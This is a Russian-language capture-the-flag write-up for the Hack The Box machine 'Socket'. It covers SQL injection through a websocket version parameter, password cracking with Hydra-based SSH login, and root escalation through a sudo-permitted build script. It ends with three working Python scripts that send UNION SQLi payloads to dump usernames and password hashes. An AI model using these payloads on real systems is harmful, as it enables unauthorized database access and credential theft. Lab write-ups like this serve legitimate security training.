April 4, 2023

Socket Hack The Box WriteUp by artrone

Доброго времени суток! Сегодня у нас средняя по сложности тачка "Socket".

Предлагаю начать!

Разведка

Как и всегда, начинаем со сканирования nmap'ом:

Как мы видим, у нас открыт 22-й, 80-й и 5789-й порты. На 5789-ом порту работает websocket.

Использовав инструмент для обнаружения уязвимостей ws, мы получаем такой результат:

Подробнее о CSWSH: https://christian-schneider.net/CrossSiteWebSocketHijacking.html

Давайте теперь перейдем на сайт, предварительно изменив /etc/hosts:

В конце страницы нам предлагается скачать приложение. Давайте так и поступим.

Точка входа

Скачался архив. Распаковав его, получаем картинку и исполняемый файл:

Теперь нам нужно его каким-то образом изучить. Я пытался использовать Ghidra, но ничего путного не нашел.

Поскольку это двоичный ELF файл, то предлагаю его декомпилировать с помощью pyinstxtractor

В папке qreader_extracted появился файл qreader.pyc. Теперь нужно его превратить в qreader.py с помощью uncompyle6

В итоге, мы получаем такой вот результат:

Как мы видим, параметр 'version' может быть уязвим для SQLi.

Давайте напишем простой скрипт для проверки данной теории:

Я пробовал версию 0.0.1, 0.0.2, 0.0.3 и т.д. Если версия > 0.0.2, то возникает ошибка. Поэтому, работаем с ней. По результатам мы получили 4 столбца.

Теперь давайте узнаем версию БД:

Получена версия sqlite 3.37.2. Отлично. У нас уязвим первый столбец. Теперь давайте видоизменим скрипт для получения логина:

Логин успешно получен. Делаем те же действия для получения пароля:

Пароль тоже получен. Теперь у нас появилась проблема с логином- где он? Это имя и фамилия? Или что?

Давайте воспользуемся username генератором:

Теперь, предварительно декриптнув хэш пароля и закинув его в текстовый файлик, воспользуемся Hydra:

Подключаемся через SSH и лутаем user flag:

Эскалация привилегий

Сначала давайте посмотрим наши права через sudo -l:

Так как мы можем исполнять файл build-installer.sh от имени root'a, то предлагаю воспользоваться этим.

Исследовав build-installer.sh, мы находим такую строку:

Соответственно, нужно выполнить команду "make" для файла с расширением .py.

Давайте так и поступим:

Теперь прописываем sudo -s:

Как мы видим, мы не можем получить оболочку от имени рута.

Давайте пойдем по другому пути и условию в изначальном коде:

В данном условии расширение файла должно быть .spec и комана "bulid".

Проделаем то же:

Все успешно получилось и рут флаг взят!

Всем добра!

Использованные скрипты

Версия:

from websocket import create_connection import websocket import json

ws_host = 'ws://qreader.htb:5789/version'

ws = create_connection(ws_host)

item = '0.0.2" UNION SELECT sqlite_version(),NULL,NULL,NULL;— -' json_query = {'version':item} ws.send(json.dumps(json_query)) result = ws.recv() print(result) ws.close()

Логин:

from websocket import create_connection import json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.2" UNION SELECT group_concat(answer),"2","3","4" FROM answers;-- -'

ws = create_connection(ws_host + '/version') ws.send(json.dumps({'version': VERSION})) result = ws.recv() print(result) ws.close()

Пароль:

from websocket import create_connection import json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.2" UNION SELECT username,password,"3","4" from users;-- -'

ws = create_connection(ws_host + '/version') ws.send(json.dumps({'version': VERSION})) result = ws.recv() print(result) ws.close()

НАШ ТГ КАНАЛ: https://t.me/hackerblog